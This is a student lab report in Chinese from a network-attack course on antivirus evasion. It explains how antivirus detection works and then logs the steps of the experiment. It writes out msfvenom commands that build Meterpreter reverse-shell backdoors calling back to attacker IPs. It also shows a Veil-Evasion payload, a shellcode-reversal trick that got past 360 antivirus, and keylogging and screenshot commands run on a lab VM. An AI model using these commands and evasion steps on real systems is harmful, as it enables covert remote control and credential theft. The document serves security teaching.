20145226夏艺华《网络对抗》免杀原理与实践
20145226夏艺华《网络对抗》免杀原理与实践
基础问题回答
杀软是如何检测出恶意代码的?
(1)基于特征码的检测:杀毒软件有一个病毒的特征码(由一个不大于64字节的特征串组成)库,通过识别恶意代码的特征码检测恶意代码。
(2)启发式恶意软件检测:“When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.”分析对象文件与病毒特征库中的病毒原码进行比较。
(3)基于行为的恶意软件检测:在一种程序运行的状态下对其行为进行监控,如果有敏感行为会报毒,是一种动态的监测与捕捉。
免杀是做什么?
使恶意代码绕过杀毒软件的查杀
免杀的基本方法有哪些?
(1)通过花指令、加壳、重组编码shellcode等方法来绕过杀毒软件的检测
(2)通过改变恶意代码的操作方式及通讯方式等行为来避免被查杀
(3)自己编写(不再病毒库中)
实践总结与体会
这次实验有毒!!!
毒大了!!!开始做的步骤完全没有问题 但就是要被杀[smile]
最后 终于 出来 了 真是感动。。。
离实战还缺些什么技术或步骤?
技术远远不够实际应用,还要积累更多丰富的知识才能达到实战的水平。
实践过程记录
msfvenom直接生成meterpreter后门程序
这是后门实验已经实现的~
· 使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.43.51.202 LPORT=26 -f exe >20145226.exe
来生成后门程序,如图所示:
· 然后发送到windows 7里。
· 现在在kali中用msfconsole
命令开启msf,并进行设置,步骤如图所示
:
· 此时开始监听,在windows 7中运行后门程序20145226.exe就可成功控制远程shell,如图使用命令dir
查看系统版本信息:
· 使用命令screenshot
对靶机进行截图:
· 使用命令keyscan_start
开始和keyscan_dump
结束记录键盘输入:
(如果是在输入密码,瞬间暴露[smile])
· 获得运行Meterpreter会话的用户名
ps:由于我的win 7是我自己的虚拟机,没有连接摄像头,所以没有偷拍成功~
使用Veil-Evasion生成可执行文件
· 在kali虚拟机终端输入veil-evasion
进入veil-evasion环境:
· 输入use python/meterpreter/rev_tcp
,之后生成可执行文件veil5226.exe
对应的py文件,不明觉厉:
· 将生成的可执行文件传到主机,gg,被360发现了
· 上传到virscan扫描一下,4/39发现病毒诶
使用C语言调用Shellcode
在kali主机下,进入终端,执行指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.132 LPORT=443 -f c
LHOST:攻击机IP
LPORT:反弹连接端口
c:生成一个c语言格式的Shellcode数组
将上述代码从虚拟机里粘出来到Microsoft Visual Studio 2010进行编译运行生成可执行文件
(涉及木马不便展示)
gg,又被360发现了。。。
很sad。
修改shellcode——逆序
原有shellcode不变,只在Microsoft Visual Studio 2010下对源代码进行逆序修改:
对shellcode数组求逆序后输出到文件:
输出到文本后复制粘贴到木马源代码中,为如下格式:
\x:按照输出数转换为16进制的实际位数输出,所以显示出了32位16进制数(补码形式)
替换一下ffffff,如图:
靶机为win10系统,360杀毒。
免杀的实现与回连
在虚拟机中启动监听,成功回连;然后再getuid、ls、ipconfig一下,啥都暴露了[smile]
360杀毒软件也没有查出病毒!
实验感想
这个实验做得那么艰辛是因为。。。我每次生成的exe都是放到win7虚拟机里面去运行的,永远都是各种缺少某个dll文件我的问题,让人感到崩溃。。。最后放到主机win10运行一下就成功了。。。蓝瘦香菇